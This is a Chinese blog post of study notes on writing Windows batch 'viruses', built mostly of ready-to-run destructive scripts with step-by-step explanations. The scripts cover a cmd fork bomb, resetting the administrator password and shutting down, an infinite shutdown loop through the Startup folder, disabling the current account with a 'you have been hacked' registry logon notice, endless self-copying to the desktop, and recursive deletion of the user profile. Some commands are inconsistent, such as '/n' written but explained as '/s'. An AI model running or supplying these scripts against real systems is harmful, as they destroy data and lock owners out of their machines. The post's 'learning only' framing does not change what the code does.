Windows基础 -- 病毒编写(完结)

# 学习视频笔记均来自B站UP主" 泷羽sec",如涉及侵权马上删除文章

仅用于学习参考,不要越过法律红线

一、资源耗尽病毒

bat(脚本 文件后缀名 .bat) “批处理资源耗尽病毒”或“fork 炸弹”,它会在系统中生成大量的命令行窗口,逐渐占用系统的 CPU 和内存资源,最终导致系统变慢甚至崩溃。

start cmd > 1.txt
%0 >> 1.txt

 代码分析

1. start cmd : start 命令会打开一个新的命令行窗口( cmd ),这将创建一个新的命令 行进程。 2. %0 :在批处理脚本中, %0 代表脚本文件自身的路径(即脚本文件的名字)。将 %0 放 在 start cmd 后面,会使新启动的命令行窗口重新运行当前批处理文件。

脚本运行过程

1)每次运行此脚本时,都会启动一个新的 cmd 窗口,并在该窗口中再次执行当前脚本。

2)新的 cmd 窗口会启动另一个 cmd 窗口,这个过程会不断重复,最终生成大量的 cmd 窗 口。

3)由于这些窗口在不断创建,系统的 CPU 和内存资源会被大量占用,导致资源耗尽,系统 变慢,甚至崩溃。

 运行病毒

1. Windows7

echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat

2.Windows Server 2022  

解决方式:重启 

二、锁机病毒

net user administrator 123456
echo shutdown /n /t 0

代码分析

1)administrator 用户的密码更改为 123456 。这样做可能会导致原始系统管理员丢失对 该用户账户的控制权。

2)其中 /s 表示关闭计算机, /t 0 表示立即执行,执行该批处理文件将会使计算机立即 关机。

脚本运行过程

更改 administrator 用户的密码为 123456 。

shutdown /s /t 0 立刻关机,使当前会话结束,迫使之后只能重新登录用户。

运行病毒  

1. Windows7

2.Windows Server 2022 

三、无限重启病毒

通过将一个批处理文件添加到启动文件夹来实现。它会使 系统进入无限重启的状态,影响正常使用,且每次启动系统时都会自动执行关机命令,导致用 户无法正常进入桌面。 

echo shutdown /s /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"

代码分析

1)其中 /s 表示关闭计算机, /t 0 表示立即执行,执行该批处理文件将会使计算机 立即关机。

2)该行代码将 1.bat 文件复制到启动文件夹 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 中。 启动文件夹中的所有文件会在用户登录时自动执行,因此这会让 1.bat 在每次开 机时自动运行,导致系统进入无限重启状态。 

脚本运行过程

1. 创建恶意批处理文件: 第一行将 shutdown /s /t 0 (应修正)写入到 c:\windows\Temp\1.bat 中,这 个批处理文件的作用是立即关闭计算机。

2. 将批处理文件复制到启动文件夹: 第二行将 1.bat 复制到 Windows 的启动文件夹中。 启动文件夹中的程序会在用户登录时自动运行,因此每次系统启动时, 1.bat 都会 自动执行,导致系统立即关机。

3. 无限重启效果: 由于该批处理文件会在每次登录时自动执行关机操作,用户几乎无法正常进入系统 桌面,形成无限重启的效果。 

运行病毒

在运行以后会立刻关机,再次启动时会立即关机 

四、禁用当前账户

在批处理(Batch)脚本中,可以通过禁用当前用户账户和修改系统登录信息来达到“锁定账户 并提示用户已被锁定”的效果。

@echo off
:: 获取当前用户名
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
:: 禁用当前用户账户
net user %username% /active:no
:: 设置登录提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f
:: 立刻关机
shutdown /s /t 0

代码分析

1. 关闭命令回显:

@echo off

       echo off :将批处理文件中所有命令的回显功能关闭。关闭回显后,批处理文件中的命 令将不会显示在命令行窗口中,仅显示命令的输出结果。这样可以让脚本执行过程更清 洁,避免用户看到每一条执行的命令。

       @ :在批处理文件中使用 @ 符号,表示只在当前行关闭回显(在该行不显示此命令本 身)。在这里, @ 用来隐藏 echo off 命令本身的回显。也就是说,用户不会在命令行 窗口中看到 echo off 。 

 2. 获取当前用户名:

        cmd中可以使用 whoami 获取当前用户信息,但是 whoami 会包含用户所处域的名称,例 如 DESKTOP-12345\John ,我们需要使用脚本处理该段字符串,获取后面的用户名。

for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a

3.禁用当前用户账户:

net user %username% /active:no

4.设置登录提示信息:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f

5.使用 reg add 命令向注册表中添加登录提示信息。

      legalnoticecaption :设置提示框标题。 legalnoticetext :设置提示内容,这里可以自定义为“你已经被hack,你的账户已被锁 定,请联系管理员。”。  

6.立刻关闭主机: 

shutdown /s /t 0

脚本运行过程

1. 运行脚本:以管理员权限运行该批处理脚本。

2. 账户禁用:脚本会获取当前用户名,并将该用户账户设置为禁用状态。

3. 立刻关闭主机:脚本在禁用账户后会立刻关闭主机。

4. 尝试重新登录:当用户再次登录系统时,将显示“账户已被锁定,请联系管理员”的提示。 5. 账户禁用效果:账户被禁用后,即使输入正确的密码也无法登录系统。 

运行病毒  

1. Windows7

2.Windows Server 2022  

五、无限复制本体 

该脚本会将自身无限复制到桌面,最终占满桌面空间并可能耗尽系统资源。

@echo off
setlocal enabledelayedexpansion
:: 获取当前脚本文件路径和文件名
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
:: 无限复制当前脚本到桌面
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop

代码分析  

1. 启用延迟变量扩展 

setlocal enabledelayedexpansion

      setlocal enabledelayedexpansion :启用延迟变量扩展,这样可以在循环中动态更新 变量的值。延迟扩展在批处理脚本中非常有用,特别是在处理循环时。

      但实测后不加这个行代码对当期那脚本无影响,可能最是对for循环有作用。 

2. 获取脚本路径和桌面路径

set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop

      set scriptPath=%~f0 :获取当前脚本文件的完整路径,并将其存储在变量 scriptPath 中。 %~f0 表示当前批处理文件的完整路径。

      set desktopPath=%USERPROFILE%\Desktop :获取当前用户桌面的路径,将其存储在变 量 desktopPath 中。 %USERPROFILE% 是系统环境变量,指向当前用户的主文件夹路 径。  

3. 无限循环复制脚本

:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop

   1) loop :定义一个标签 loop ,用于无限循环的入口。

   2) set /a count+=1 :定义一个计数器 count ,并在每次循环时自增 1,用于生成唯一的 文件名, /a 告诉 set 命令对右侧的表达式进行算术运算。

   3) copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :将当前脚本文件复制到 桌面,并命名为 Copy_1.bat 、 Copy_2.bat 等等。 %count% 确保每次复制文件的文件 名不同,以避免覆盖。

   4)goto loop :跳转回 loop 标签,形成无限循环。  

脚本运行过程

    1. 启动脚本:运行此脚本后,它会进入无限循环。

    2. 复制脚本文件:在每次循环中,脚本会将自身复制到桌面,并使用不同的文件名。

    3. 占用系统资源:随着循环的进行,桌面上会不断生成新的脚本文件,最终可能占满桌面 空间,并导致系统存储空间耗尽。

    4. 系统影响:如果存储空间被完全填满,系统性能可能显著下降,甚至会影响其他程序的 正常运行。 

运行病毒

1. Windows7

运行后全屏都是脚本文件

解决方式

文件名命名有点单一,直接 del Copy* 就全删了  

拓展:可以把复制后的文件名称改成随机字符  (可自己尝试)

六、删除系统文件 

该脚本目的删除当前用户目录下所有文件。

@echo off
:: 删除当前用户目录下的所有内容
rd /s /q "%USERPROFILE%\"

代码说明

rd /s /q "%userprofile%\*" :递归删除 %userprofile% 目录下的所有内容。

/s :删除指定目录及其所有子目录和文件。

/q :静默模式,不显示确认提示。

"%userprofile%\*" :指向当前用户主目录下的所有文件和文件夹。 

运行病毒

1. Windows7

以上仅用于学习参考,一切产生后果于自己承担

相应的虚拟机可以自行下载,后续文章会给一些下载链接

在进行实验前,可以先快照以防止虚拟机损坏 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值